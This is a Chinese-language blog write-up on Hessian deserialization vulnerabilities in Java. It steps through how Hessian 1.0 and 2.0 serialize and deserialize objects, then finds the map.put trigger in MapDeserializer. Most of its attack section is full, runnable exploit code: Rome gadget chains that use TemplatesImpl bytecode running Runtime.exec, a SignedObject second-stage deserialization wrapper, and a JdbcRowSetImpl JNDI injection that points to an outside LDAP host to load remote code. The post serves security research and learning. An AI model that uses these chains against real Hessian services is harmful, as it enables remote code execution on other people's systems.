Featured image of post Hessian反序列化

Hessian反序列化

Hessian反序列化

RPC

RPC**(Remote Procedure Call Protocol,远程过程调用协议)**

RPC和RMI类似,都能通过网络调用远程服务,但RPC和RMI的不同之处就在于它以标准的二进制格式来定义请求的信息 ( 请求的对象、方法、参数等 ),这种方式传输信息的优点之一就是跨语言及操作系统。

RPC协议的一次远程通信过程如下

  • 客户端发起请求,并按照RPC协议格式填充信息
  • 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
  • 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
  • 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

介绍

Hessian 是 caucho 公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范,一般称之为 Hessian ,并逐步迭代,在 Hassian jar 3.2.0 之后,采用了新的 2.0 版本的协议,一般称之为 Hessian 2.0。

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。

Hessian的基本使用

因为 Hessian 基于 HTTP 协议,所以通常通过 Web 应用来提供服务,这里测试一下序列化和反序列化

先导入maven依赖

1
2
3
4
5
6
7
<dependencies>
    <dependency>
        <groupId>com.caucho</groupId>
        <artifactId>hessian</artifactId>
        <version>4.0.66</version>
    </dependency>
</dependencies>

依旧person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.Serializable;

public class Person implements Serializable {
    public String name;
    public int age;

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }
    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + "}";
    }
}

HessianTest.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class HessianTest implements Serializable {

    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao);
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void main(String[] args) throws IOException {
        Person person = new Person();
        person.setAge(18);
        person.setName("0d00");

        byte[] s = serialize(person);
        Person p = deserialize(s);
        System.out.println(p);
    }
}

Hessian1.0

序列化

先在writeObject这里下断点,看一下hessian1.0的序列化流程

image-20260324163033125

先会获取serializer对象

image-20260324163401663

这里先判断_cachedSerializerMap的值,不为空的话就会优先调用缓存的map的get方法,我们这里为null,就会调用loadSerializer方法

image-20260324164200105

这里serializer还是空,所以调用_contextFactory.getSerializer方法,然后走到下面

image-20260324164522031

这里还是为null,继续往后面走,这里我们是自定义的对象,走到最后的getDefaultSerializer方法

image-20260324171449408

继承了Serializable接口,并且_isAllowNonSerializable为true进到UnsafeSerializer类的create方法

image-20260324172427494

跟进就走到introspect方法,是一个封装没啥看的,然后一路往后面走,serializer器获取完之后调用writeObject进行序列化

image-20260324175620027

一路跟进,就能走到writeMapBegin方法

image-20260324180014263

image-20260324180000586

image-20260324175827696

这里显然可以看出ref是-2,最后会走到writeObject10方法,这里writeMapBegin方法可以看到它写入Mt字符到os变量里面,其实就是输入流

image-20260324180629172

对每个字符进行序列化之后,以writeMapEnd作为收尾。

image-20260324180958431

这里就能看出序列化结果的前两个一定是Mt

反序列化

readObject下断点

image-20260324202656177

image-20260324202815162

image-20260324203245683

image-20260324203339496

然后接下来就跟上面序列化的方法很像,先后调用 _contextFactory.getDeserializerfactory.getCustomDeserializer 两个方法来获得 deserializer 对象,如果还是为 null,那么就会对 cl 对象进行类型判断,返回相应的 deserializer 对象,自定义对象默认调用 getDefaultDeserializer 方法

image-20260324203742277

然后获取到deserializer后,调用readMap方法

image-20260324203959153

image-20260324204558863

image-20260324204613233

这里调用_unsafe.putObject进行赋值,最后返回resolve

image-20260324205601718

Hessian2

序列化

把前面的HessianOutput/HessianInput 换为 Hessian2Ouput/Hessian2Input 这两个类

流程跟前面类似

image-20260324225323110

获取到序列化器之后,调用writeObject方法

image-20260324225446218

还是调用writeObjectBegin,不过里面的实现不一样

image-20260324225626021

这里把字符C作为标志位,返回ref是-1,最后调用writeDefinition20方法

image-20260324225807107

反序列化

还是跟前面类似,但是这里调试如果是前面的代码会出问题,这里在序列化的时候输入流没有关闭,当 Hessian2Input 开始读取时,它在尝试读取一个完整的对象,但由于缺少结尾标志(因为没有 flush),它读到一半就遇到了流的末尾,因此抛出 EOFException: unexpected end of file,所以这里要补上flush或者close方法

前面序列化的时候就知道这里序列化标志位是C,所以这里if走到C这里

image-20260325211938419

image-20260325212150340

依旧获取反序列化器

image-20260325212254806

image-20260325212308357

还是这个UnsafeDeserializer,后面其实一样

image-20260325213731728

漏洞

前面我们用自定义的类进行了调试,发现无论是hessian1还是hessian2都用unsafe进行反射赋值,没有看到能利用的点,其实漏洞在于MapDeserializer#readMap这里

image-20260325214726982

这里会调用hessian的readObject读取键值对中的key和value,外面用map.put方法进行赋值,这里不难想到我们的HashMap的put可以触发key.hashCode()key.equals()这种方法,然后TreeMap可以触发key.compareTo()

这里新建一个hashmap对象调试看看后续怎么处理的,这里肯定是进H开头的处理

image-20260330191606006

可以看到这里反序列化器直接就是MapDeserialzer

image-20260330191807492

这里根据map类型走到不同的map来反序列化

image-20260330192000389

然后这里调用前面选择的map类型反序列化后end,这里走的是hashmap的put方法,后面就走hashcode方法或者equals方法了

然后试试TreeMap

1
2
3
4
5
TreeMap treeMap = new TreeMap();
treeMap.put((Comparable) o -> 0, null);
byte[] bytes = serialize(treeMap);
treeMap = deserialize(bytes);
System.out.println(treeMap);

习惯写lambda表达式了,然后报错说是lambda表达式没有继承Serializable接口,加上一个并集继承就行

1
treeMap.put((Comparable<Object> & Serializable) o -> 0, null);

不过序列化出来一坨,要正常写的话,先写一个继承Serializable接口的类,再调用就行

1
2
3
4
5
6
7
8
static class MyComparable implements Comparable<Object>, Serializable {
    private static final long serialVersionUID = 1L;
    @Override
    public int compareTo(Object o) {
        return 0;
    }
}
treeMap.put(new MyComparable(), null);

这里走M开头的处理,然后走到前面的put方法

image-20260330201020451

image-20260330202430543

调用k1的compareTo方法,最后就走回去了

链子

Rome

上面说到调用map类型的对象才会出现漏洞,我们不难想到在Rome链中的source中有hashMap

直接接上链子测试一下,也就是序列化和反序列化换成hessian的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package Hessian2Rome;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Attack1 {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws  Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        //防止序列化时提前触发
        TemplatesImpl fakeTemplates = new TemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class,fakeTemplates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap hashMap = new HashMap();
        hashMap.put(equalsBean,"0d00");
        //反射修改ToStringBean的值回恶意templatesImpl
        setFieldValue(toStringBean,"_obj",templatesImpl);
        byte[] bytes = serialize(hashMap);
        deserialize(bytes);
    }

    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(obj);
        return byteArrayOutputStream.toByteArray();
    }
    public static Object deserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        return hessianInput.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

没回显,查看别的大佬博客说是TemplatesImpl 中的 _tfactory 是一个 transient,无法参与序列化与反序列化,然后因为在 TemplatesImpl 的 readobject 方法中会给 _tfactory 赋值,所以这里可以打二次反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package Hessian2Rome;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

public class Attack1 {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws  Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        //防止序列化时提前触发
        TemplatesImpl fakeTemplates = new TemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class,fakeTemplates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap hashMap = new HashMap();
        hashMap.put(equalsBean,"0d00");
        //反射修改ToStringBean的值回恶意templatesImpl
        setFieldValue(toStringBean,"_obj",templatesImpl);
        //二次反序列化包装
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,new HashMap<>());
        EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
        HashMap hashMap2 = new HashMap();
        hashMap2.put(equalsBean2,"0d00");
        setFieldValue(toStringBean2,"_obj",signedObject);

        byte[] bytes = serialize(hashMap2);
        deserialize(bytes);
    }

    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(obj);
        return byteArrayOutputStream.toByteArray();
    }
    public static Object deserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        return hessianInput.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

同样可以用rome这条链jndi注入,这里就不用二次反序列化了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package Hessian2Rome;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Hashtable;

public class Attack2 {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws  Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        JdbcRowSetImpl jrs = new JdbcRowSetImpl();
        String url = "ldap://10.39.148.71:8085/mwrrBqqm";
        jrs.setDataSourceName(url);
        //防止序列化时提前触发
        TemplatesImpl fakeTemplates = new TemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,fakeTemplates);
//        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean,"0d00");
        //反射修改ToStringBean的值回恶意templatesImpl
        setFieldValue(toStringBean,"_obj",jrs);

        byte[] bytes = serialize(hashMap);
        deserialize(bytes);
    }
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(obj);
        return byteArrayOutputStream.toByteArray();
    }
    public static Object deserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        return hessianInput.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
}

Hessian Aspectj 二次反序列化新链

Hessian Aspectj 二次反序列化新链

咕咕咕

使用 Hugo 构建
主题 StackJimmy 设计